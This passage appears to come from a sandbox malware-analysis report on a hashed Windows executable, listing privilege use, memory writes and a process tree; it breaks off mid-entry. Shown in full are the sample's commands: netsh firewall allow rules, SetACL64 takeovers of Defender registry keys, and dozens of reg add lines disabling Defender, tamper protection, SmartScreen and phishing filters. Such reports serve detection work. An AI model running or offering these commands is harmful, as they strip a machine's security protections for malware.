Token: SeRestorePrivilege	1740	SetACL64.exe
Token: SeTakeOwnershipPrivilege	1740	SetACL64.exe
Token: SeBackupPrivilege	2212	SetACL64.exe
Token: SeRestorePrivilege	2212	SetACL64.exe
Token: SeTakeOwnershipPrivilege	2212	SetACL64.exe
Token: SeDebugPrivilege	2464	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2464	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2464	PowerRun64.exe
Token: 0	2464	PowerRun64.exe
Token: SeDebugPrivilege	3724	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	3724	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	3724	PowerRun64.exe
Token: SeDebugPrivilege	3584	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	3584	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	3584	PowerRun64.exe
Token: 0	3584	PowerRun64.exe
Token: SeDebugPrivilege	4108	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	4108	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	4108	PowerRun64.exe
Token: SeDebugPrivilege	4156	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	4156	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	4156	PowerRun64.exe
Token: 0	4156	PowerRun64.exe
Token: SeDebugPrivilege	4436	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	4436	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	4436	PowerRun64.exe
Token: SeDebugPrivilege	2116	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2116	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2116	PowerRun64.exe
Token: 0	2116	PowerRun64.exe
Token: SeDebugPrivilege	4648	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	4648	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	4648	PowerRun64.exe
Token: SeDebugPrivilege	4060	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	4060	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	4060	PowerRun64.exe
Token: 0	4060	PowerRun64.exe
Token: SeDebugPrivilege	1196	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	1196	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	1196	PowerRun64.exe
Token: SeDebugPrivilege	3344	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	3344	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	3344	PowerRun64.exe
Token: 0	3344	PowerRun64.exe
Token: SeDebugPrivilege	2996	PowerRun64.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1116 wrote to memory of 4196	1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	85
PID 1116 wrote to memory of 4196	1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	85
PID 1116 wrote to memory of 4196	1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	85
PID 1116 wrote to memory of 548	1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	87
PID 1116 wrote to memory of 548	1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	87
PID 1116 wrote to memory of 548	1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	87
PID 1116 wrote to memory of 3452	1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	89
PID 1116 wrote to memory of 3452	1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	89
PID 1116 wrote to memory of 3452	1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	89
PID 3452 wrote to memory of 396	3452	dotNetFx40_Full_setup.exe	90
PID 3452 wrote to memory of 396	3452	dotNetFx40_Full_setup.exe	90
PID 3452 wrote to memory of 396	3452	dotNetFx40_Full_setup.exe	90
PID 1116 wrote to memory of 2548	1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	97
PID 1116 wrote to memory of 2548	1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	97
PID 1116 wrote to memory of 2548	1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	97
PID 2548 wrote to memory of 1748	2548	dotNetFx45_Full_setup.exe	98
PID 2548 wrote to memory of 1748	2548	dotNetFx45_Full_setup.exe	98
PID 2548 wrote to memory of 1748	2548	dotNetFx45_Full_setup.exe	98
PID 1116 wrote to memory of 4284	1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	105
PID 1116 wrote to memory of 4284	1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	105
PID 1116 wrote to memory of 4284	1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	105
PID 4284 wrote to memory of 3064	4284	cmd.exe	107
PID 4284 wrote to memory of 3064	4284	cmd.exe	107
PID 1116 wrote to memory of 4800	1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	108
PID 1116 wrote to memory of 4800	1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	108
PID 1116 wrote to memory of 4800	1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	108
PID 4800 wrote to memory of 5064	4800	cmd.exe	110
PID 4800 wrote to memory of 5064	4800	cmd.exe	110
PID 4800 wrote to memory of 2948	4800	cmd.exe	111
PID 4800 wrote to memory of 2948	4800	cmd.exe	111
PID 4800 wrote to memory of 2976	4800	cmd.exe	112
PID 4800 wrote to memory of 2976	4800	cmd.exe	112
PID 4800 wrote to memory of 1020	4800	cmd.exe	113
PID 4800 wrote to memory of 1020	4800	cmd.exe	113
PID 4800 wrote to memory of 2896	4800	cmd.exe	114
PID 4800 wrote to memory of 2896	4800	cmd.exe	114
PID 4800 wrote to memory of 1740	4800	cmd.exe	115
PID 4800 wrote to memory of 1740	4800	cmd.exe	115
PID 4800 wrote to memory of 2212	4800	cmd.exe	116
PID 4800 wrote to memory of 2212	4800	cmd.exe	116
PID 4800 wrote to memory of 644	4800	cmd.exe	117
PID 4800 wrote to memory of 644	4800	cmd.exe	117
PID 4800 wrote to memory of 644	4800	cmd.exe	117
PID 4800 wrote to memory of 4712	4800	cmd.exe	118
PID 4800 wrote to memory of 4712	4800	cmd.exe	118
PID 4800 wrote to memory of 4712	4800	cmd.exe	118
PID 4800 wrote to memory of 660	4800	cmd.exe	119
PID 4800 wrote to memory of 660	4800	cmd.exe	119
PID 4800 wrote to memory of 660	4800	cmd.exe	119
PID 4800 wrote to memory of 4088	4800	cmd.exe	120
PID 4800 wrote to memory of 4088	4800	cmd.exe	120
PID 4800 wrote to memory of 4088	4800	cmd.exe	120
PID 4800 wrote to memory of 2132	4800	cmd.exe	121
PID 4800 wrote to memory of 2132	4800	cmd.exe	121
PID 4800 wrote to memory of 2132	4800	cmd.exe	121
PID 4800 wrote to memory of 1284	4800	cmd.exe	122
PID 4800 wrote to memory of 1284	4800	cmd.exe	122
PID 4800 wrote to memory of 1284	4800	cmd.exe	122
PID 4800 wrote to memory of 2460	4800	cmd.exe	123
PID 4800 wrote to memory of 2460	4800	cmd.exe	123
PID 4800 wrote to memory of 2460	4800	cmd.exe	123
PID 4800 wrote to memory of 4864	4800	cmd.exe	124
PID 4800 wrote to memory of 4864	4800	cmd.exe	124
PID 4800 wrote to memory of 4864	4800	cmd.exe	124

C:\Users\Admin\AppData\Local\Temp\13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe
"C:\Users\Admin\AppData\Local\Temp\13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe"
1⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1116
- C:\Windows\SysWOW64\netsh.exe
  netsh advfirewall firewall add rule name=acxxtzcogvgr dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\acxxtzcogvgr.exe" enable=yes profile=public,private
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4196
- C:\Windows\SysWOW64\netsh.exe
  netsh advfirewall firewall add rule name=acxxtzcogvgr dir=out action=allow program="C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\acxxtzcogvgr.exe" enable=yes profile=public,private
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:548
- C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\dotNetFx40_Full_setup.exe
  "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\dotNetFx40_Full_setup.exe" /q /norestart
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3452
- - C:\95d966661e0d51cda69113c4af72\Setup.exe
    C:\95d966661e0d51cda69113c4af72\\Setup.exe /q /norestart /x86 /x64 /ia64 /web
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:396
- C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\dotNetFx45_Full_setup.exe
  "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\dotNetFx45_Full_setup.exe" /q /norestart
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2548
- - C:\b4b7e8e94413ca0cb56fc4d8f0\Setup.exe
    C:\b4b7e8e94413ca0cb56fc4d8f0\\Setup.exe /q /norestart /x86 /x64 /web
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:1748
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\bn.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4284
- - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\SetACL64.exe
    SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn setowner -ownr "n:Administrators"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:3064
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\bnz.bat
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4800
- - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\SetACL64.exe
    SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn ace -ace "n:Administrators;p:full"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:5064
- - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\SetACL64.exe
    SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn setowner -ownr "n:Administrators"
    3⤵
    - Executes dropped EXE
    - Windows security modification
    - Suspicious use of AdjustPrivilegeToken
    PID:2948
- - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\SetACL64.exe
    SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn ace -ace "n:Administrators;p:full"
    3⤵
    - Executes dropped EXE
    - Windows security modification
    - Suspicious use of AdjustPrivilegeToken
    PID:2976
- - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\SetACL64.exe
    SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn setowner -ownr "n:Administrators"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1020
- - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\SetACL64.exe
    SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn ace -ace "n:Administrators;p:full"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2896
- - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\SetACL64.exe
    SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn setowner -ownr "n:Administrators"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1740
- - C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\SetACL64.exe
    SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn ace -ace "n:Administrators;p:full"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2212
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t reg_DWORD /d "1" /f
    3⤵
    PID:644
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t reg_DWORD /d "4" /f
    3⤵
    PID:4712
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtectionSource" /t reg_DWORD /d "2" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:660
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" /v "DisablePrivacyMode" /t reg_DWORD /d "1" /f
    3⤵
    PID:4088
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t reg_DWORD /d "0" /f
    3⤵
    PID:2132
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t reg_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1284
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t reg_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2460
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t reg_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4864
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\RemovalTools\MpGears" /v "SpyNetReportingLocation" /t reg_DWORD /d 0 /f
    3⤵
    PID:600
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v "EnableSmartScreen" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:452
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3992
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
    3⤵
    PID:1816
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1132
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\bnn.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4544
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2268
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:920
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\SOFTWARE\Policies\Microsoft\Edge" /v "SmartScreenEnabled" /t reg_DWORD /d 0 /f
    3⤵
    PID:2524
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2516
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
    3⤵
    PID:3332
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\bnoo1.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2964
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2340
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
    3⤵
    PID:4136
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4476
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_EdgeSmartScreenOff" /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4252
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_StoreAppsSmartScreenOff" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1392
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AccountProtection_MicrosoftAccount_Disconnected" /t REG_DWORD /d 1 /f
    3⤵
    PID:840
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "RandomizeScheduleTaskTimes" /t reg_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2844
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "PUAProtection" /t reg_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4636
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t reg_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1992
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" /v "DisableAutoExclusions" /t reg_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1632
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t reg_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4972
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "PurgeItemsAfterDelay" /t reg_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2600
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "LocalSettingOverridePurgeItemsAfterDelay" /t reg_DWORD /d "0" /f
    3⤵
    PID:4244
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:8
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2956
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:236
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:4648
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:2488
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScriptScanning" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2136
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:1748
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation" /v "Scan_ScheduleDay" /t reg_DWORD /d "8" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2672
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation" /v "Scan_ScheduleTime" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3796
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "AdditionalActionTimeOut" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2068
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\bn1.bat
  2⤵
  PID:3752
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "CriticalFailureTimeOut" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:532
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "NonCriticalTimeOut" /t reg_DWORD /d 0 /f
    3⤵
    PID:3436
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableGenericRePorts" /t reg_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1084
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t reg_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4484
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "AvgCPULoadFactor" /t reg_DWORD /d "10" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1852
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableArchiveScanning" /t reg_DWORD /d "1" /f
    3⤵
    PID:2800
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupFullScan" /t reg_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1320
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupQuickScan" /t reg_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4240
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableRemovableDriveScanning" /t reg_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3452
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableRestorePoint" /t reg_DWORD /d "1" /f
    3⤵
    PID:4356
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningMappedNetworkDrivesForFullScan" /t reg_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4640
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningNetworkFiles" /t reg_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2996
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "PurgeItemsAfterDelay" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4280
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScheduleDay" /t reg_DWORD /d 8 /f
    3⤵
    PID:3300
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScheduleTime" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4428
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScanOnlyIfIdle" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2944
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScanParameters" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3516
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" /v "FirstAuGracePeriod" /t reg_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4284
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "DisableUpdateOnStartupWithoutEngine" /t reg_DWORD /d 1 /f
    3⤵
    PID:4696
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "ScheduleDay" /t reg_DWORD /d 8 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2484
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "ScheduleTime" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4248
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "SignatureUpdateCatchupInterval" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1988
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControl" /t reg_SZ /d "Anywhere" /f
    3⤵
    PID:5064
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControlEnabled" /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1144
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t reg_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4920
- - C:\Windows\SysWOW64\reg.exe
